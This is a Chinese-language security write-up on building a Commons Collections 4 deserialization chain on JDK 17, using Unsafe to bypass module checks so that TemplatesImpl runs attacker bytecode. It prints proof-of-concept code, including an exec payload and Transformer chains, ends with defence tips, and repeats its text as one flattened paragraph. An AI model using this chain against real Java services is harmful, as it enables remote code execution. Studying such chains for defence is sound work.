jdk17&CC链绕过模块检测利用TemplatesImpl
字数 1054 2025-09-01 11:25:54

JDK17下利用TemplatesImpl绕过模块检测的CC链构造分析

0x01 前言

本文详细分析在JDK17环境下如何绕过模块化限制,利用TemplatesImpl作为反序列化sink点构造完整的CC4攻击链。JDK17通过强封装(模块化)增强了安全性,但通过Unsafe等技术仍可实现利用。

0x02 环境准备

  • JDK版本:17.0.8
  • 依赖链:Commons Collections 4 (CC4)
  • 关键技术点:
    • Unsafe修改模块关系
    • TemplatesImpl字节码加载
    • 模块检测绕过技术

0x03 JDK17模块化检测机制

JDK9开始引入模块化,JDK17严格执行模块检测:

  1. 反射和对象实例化时会检查调用类与被调用类的模块关系
  2. 模块检测包括:
    • 模块可见性检查
    • 导出包检查
    • 访问权限验证

0x04 初步验证

通过Unsafe修改调用类模块可以绕过部分检测:

// 修改模块关系的核心方法
void patchModule(Class<?> currentClass, Class<?> targetClass) {
    // 获取Unsafe实例
    Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
    unsafeField.setAccessible(true);
    Unsafe unsafe = (Unsafe) unsafeField.get(null);
    
    // 获取目标模块
    Object targetModule = targetClass.getModule();
    
    // 修改当前类的模块
    long moduleOffset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));
    unsafe.getAndSetObject(currentClass, moduleOffset, targetModule);
}

0x05 恶意类构造

1. 恶意字节码类

public class EvilClass {
    static {
        try {
            // 执行任意代码
            Runtime.getRuntime().exec("calc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

注意事项

  • 不需要继承AbstractTranslet以避免模块检测问题
  • 静态代码块作为触发点

2. TemplatesImpl利用要点

解决defineTransletClasses()中的问题:

// 需要设置_auxClasses避免NPE
if (_class[i].getSuperclass() == ABSTRACT_TRANSLET) {
    _transletIndex = i;
} else {
    _auxClasses.put(_class[i].getName(), _class[i]);
}

解决方案:

  • 设置_bytecodes.length > 1_auxClasses自动初始化

0x06 关键问题解决

1. TrAXFilter.newInstance的模块检测

TrAXFilter实例化时会进行严格模块检测:

// 反射调用时的检测逻辑
if (!Modifier.isPublic(getModifiers())) {
    // 模块检测
    if (!callerModule.canRead(module)) {
        throw new IllegalAccessError();
    }
}

2. Unsafe对象获取的链式构造

通过CC链构造获取Unsafe对象的流程:

Transformer[] transformers = new Transformer[] {
    // 获取Unsafe.class
    new ConstantTransformer(Unsafe.class),
    
    // 获取theUnsafe字段
    new InvokerTransformer("getDeclaredField", 
        new Class[]{String.class}, 
        new Object[]{"theUnsafe"}),
        
    // 设置字段可访问
    new InvokerTransformer("setAccessible", 
        new Class[]{boolean.class}, 
        new Object[]{true}),
        
    // 获取Unsafe实例
    new InvokerTransformer("get", 
        new Class[]{Object.class}, 
        new Object[]{null}),
};

3. 模块检测绕过技术

方法一:修改packageName

// 修改被调用类的packageName为导出包
long pkgNameOffset = unsafe.objectFieldOffset(Class.class.getDeclaredField("packageName"));
unsafe.getAndSetObject(targetClass, pkgNameOffset, "java.lang");

方法二:设置模块为null

// 将调用类和被调用类的模块都设为null
unsafe.getAndSetObject(callerClass, moduleOffset, null);
unsafe.getAndSetObject(targetClass, moduleOffset, null);

0x07 完整POC构造

// 1. 构造恶意字节码
byte[] evilCode = generateEvilBytecode();
byte[][] bytecodes = new byte[][]{evilCode, new byte[0]}; // 确保length>1

// 2. 初始化TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", bytecodes);
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

// 3. 构造Unsafe获取链
Transformer[] unsafeChain = new Transformer[]{
    new ConstantTransformer(Unsafe.class),
    new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"theUnsafe"}),
    new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true}),
    new InvokerTransformer("get", new Class[]{Object.class}, new Object[]{null})
};

// 4. 构造模块修改链
Transformer[] modulePatchChain = new Transformer[]{
    new ConstantTransformer(Class.class),
    new InvokerTransformer("getDeclaredField", new Class[]{String.class}, new Object[]{"module"}),
    new InvokerTransformer("setAccessible", new Class[]{boolean.class}, new Object[]{true}),
    new ConstantTransformer(null), // 设置为null
    new InvokerTransformer("set", new Class[]{Object.class, Object.class}, 
        new Object[]{null, null}) // 参数占位
};

// 5. 构造最终调用链
Transformer[] finalChain = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InvokerTransformer("newInstance", new Class[]{Object[].class}, 
        new Object[]{new Object[]{templates}})
};

// 6. 组合所有Transformer
ChainedTransformer chain = new ChainedTransformer(
    ArrayUtils.addAll(unsafeChain, modulePatchChain, finalChain));

0x08 调用链分析

完整调用流程:

  1. 通过Unsafe链获取Unsafe实例
  2. 修改调用类和被调用类的模块关系
    • 要么设置为null
    • 要么修改packageName为已导出包
  3. 触发TemplatesImpl的getOutputProperties()
  4. 加载并执行恶意字节码

0x09 防御建议

  1. 升级到最新JDK版本
  2. 禁用或限制Unsafe使用
  3. 实施严格的反序列化过滤
  4. 使用SecurityManager限制敏感操作

0x10 总结

尽管JDK17加强了模块化安全,但通过:

  1. Unsafe修改模块关系
  2. 巧妙构造Transformer链
  3. 绕过package检测
    仍可实现TemplatesImpl的利用。这提醒我们安全防护需要多层次、多维度的防御策略。
JDK17下利用TemplatesImpl绕过模块检测的CC链构造分析 0x01 前言 本文详细分析在JDK17环境下如何绕过模块化限制,利用TemplatesImpl作为反序列化sink点构造完整的CC4攻击链。JDK17通过强封装(模块化)增强了安全性,但通过Unsafe等技术仍可实现利用。 0x02 环境准备 JDK版本:17.0.8 依赖链:Commons Collections 4 (CC4) 关键技术点: Unsafe修改模块关系 TemplatesImpl字节码加载 模块检测绕过技术 0x03 JDK17模块化检测机制 JDK9开始引入模块化,JDK17严格执行模块检测: 反射和对象实例化时会检查调用类与被调用类的模块关系 模块检测包括: 模块可见性检查 导出包检查 访问权限验证 0x04 初步验证 通过Unsafe修改调用类模块可以绕过部分检测: 0x05 恶意类构造 1. 恶意字节码类 注意事项 : 不需要继承 AbstractTranslet 以避免模块检测问题 静态代码块作为触发点 2. TemplatesImpl利用要点 解决 defineTransletClasses() 中的问题: 解决方案: 设置 _bytecodes.length > 1 让 _auxClasses 自动初始化 0x06 关键问题解决 1. TrAXFilter.newInstance的模块检测 TrAXFilter 实例化时会进行严格模块检测: 2. Unsafe对象获取的链式构造 通过CC链构造获取Unsafe对象的流程: 3. 模块检测绕过技术 方法一:修改packageName 方法二:设置模块为null 0x07 完整POC构造 0x08 调用链分析 完整调用流程: 通过Unsafe链获取Unsafe实例 修改调用类和被调用类的模块关系 要么设置为null 要么修改packageName为已导出包 触发TemplatesImpl的getOutputProperties() 加载并执行恶意字节码 0x09 防御建议 升级到最新JDK版本 禁用或限制Unsafe使用 实施严格的反序列化过滤 使用SecurityManager限制敏感操作 0x10 总结 尽管JDK17加强了模块化安全,但通过: Unsafe修改模块关系 巧妙构造Transformer链 绕过package检测 仍可实现TemplatesImpl的利用。这提醒我们安全防护需要多层次、多维度的防御策略。